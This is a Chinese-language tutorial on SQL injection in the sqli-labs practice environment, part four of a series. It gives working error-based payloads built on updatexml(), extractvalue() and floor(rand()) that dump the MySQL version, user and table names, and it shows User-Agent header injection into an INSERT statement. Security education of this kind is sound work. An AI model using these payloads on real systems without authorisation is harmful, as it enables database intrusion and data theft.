updatexml mysql_深入浅出带你玩转sqlilabs(四)-updatexml(),floor(),extractvalue()报错注入

SQL各种参数类型下的注入测试

数字型-sqlilabs less2

前面文章已演示过

字符型-sqlilabs less1

前面文章已演示过

搜索型-自写测试

如:

www.test.com/index.php?id=1

www.test.com/index.php?id=abc

(搜索型,一般产生在网站的搜索框)http://www.test.com/search.php?q=1

区分参数类型的原因:

当参数类型为数字时,sql语句拼接可以不用引号或其他符号进行概括,而参数类型为字符串时,sql语句拼接必须使用引号或其他符号进行概括,从而由此分析,在进行sql注入时,如果出现符号,那么注入也要考虑符号的干扰!

本地计算机在进行文件搜索时,会经常使用通配符:"*" 星号

在数据库中搜索遍历的通配符:"%" 百分号

select * from emails where email_id like '%com%'

ae1779dbd933de2eedb3d801fd0fca1c.png

从上图可以看出,数据库通配符%和计算机搜索通配符*使用方法差不多

数字型和字符型的SQL语句:

选择库,表

2b80ea5e9dcdbc14a5afe33cf8e82481.png

数字型选择列,无单引号

612e898bc37b813f6d939112f5306d76.png

字符型选择列,有单引号

9b5e123bf4a9aad3d856c4f5733cf5a0.png

SQL各种报错方式下的注入测试

此类报错注入旨在解决无回显下的注入测试

参考文章:

mysql sql语句中空格可以使用"+",“/**/”等取代

url中绕过空格使用"%20","+",“/**/”等取代

注:MySQL 5.1.5版本后才包含ExtractValue()和UpdateXML()这2个函数

updatexml报错-sqlilabs less5

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法:updatexml(目标xml文档,xml路径,更新的内容)

如:

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

报错方式相同:

如:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

可构造如下payload:

?id=1'and 1=(updatexml(1,concat(0x3a,(select version())),1))--+

?id=1'and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 0,1)),1))--+

70bc801a094234b1716e6c19e92f158b.png

updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错

updatexml的最大长度是32位的,所以有所局限(PS:但是应对大多的已经足够。)

如果密码长度超过了32位就不会被显示出来。

payload分析:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据

01c81f99e9e1c2cfaebb777126a57853.png

extractvalue报错-sqlilabs less5

extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数

可构造payload:

?id=1'and extractvalue(1,concat(0x7e,user()))--+

?id=1'and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)))--+

d400ce0a4d9221c5be3c2a62bb927510.png

payload分析:

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue('', '/a/b');就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

e67b647fecce44a9cba83e4d01a118d6.png

floor报错-sqlilabs less5

构造payload:

?id=1'+and+(select+1+from+(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

?id=-1'and(select 1 from (select count(*),concat((select table_name from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

2b1c7197fc8150678c8b5206429246a2.png

文章分析payload,详细讲解双查询注入:

当在一个聚合函数,比如count函数后面如果使用分组语句(group by)就会把查询的一部分以错误的形式显示出来

fb0b969e977884c865d8f804449bf974.png

可以在database()替换要查询的函数

d8b7ac26ba6ce56ac66c7f9573e29fd3.png

SQL各种查询方式下的注入测试

select 查询数据

在网站应用中进行数据显示查询操作,前面演示的很多都是

insert 插入数据-sqlilabs less18

在网站应用中进行用户注册添加等操作

20033f47d35a80afb814f066fa5a071a.png

在登录界面输入的用户名需要进数据库查询,有这用户才可以进行下一步执行

c7c53fd0eba3d0ce8573776c25d81e68.png

用admin账号密码登录一下

ffcdc2aef82b8d11a0e0ecabac62bd11.png

同时用seay审计工具的mysql监控插件,监控SQL命令的执行

41b1fd521e9b7c744ad4d8e822ab98c6.png

可以看到有个insert的SQL语句,把它复制到MySQL命令行执行

9c35f980f6513c57f78efb3a031cbb54.png

从SQL命令中插入的参数中,有useragent,ip,username插入了数据库

username参数想要插入到数据库,就先要通过数据库里面正确的账号密码插入,数据库没有的就不能通过,所以在这两个框中不能进行语句注入

62d61d7f00265848d02187e2630f1aba.png

900fe8ae52a8198b6b65519527c1aeb2.png

但是看到这里有ip和useragent插入数据库,我们可以在这上面注入,加个单引号报错了:

019e02825cb685eaecb259a90fa9475a.png

猜想在数据中的sql语句为:INSEERT INTO table VALUES('User-Agent','Ip','Username')

接下来我们尝试在User-Agent的位置进行注入测试,我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法,闭合后就应该为

INSEERT INTO table VALUES('1' ,1,1)#','Ip','Username'),成功绕过

98a56f1aae6632cf00a8ac27bbfed00c.png

运用payload:

8afb5eea3b1611ce0c05bcbc87fcd519.png

delete 删除数据

后台管理里面删除文章删除用户等操作

update 更新数据

数据同步缓存等操作

通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值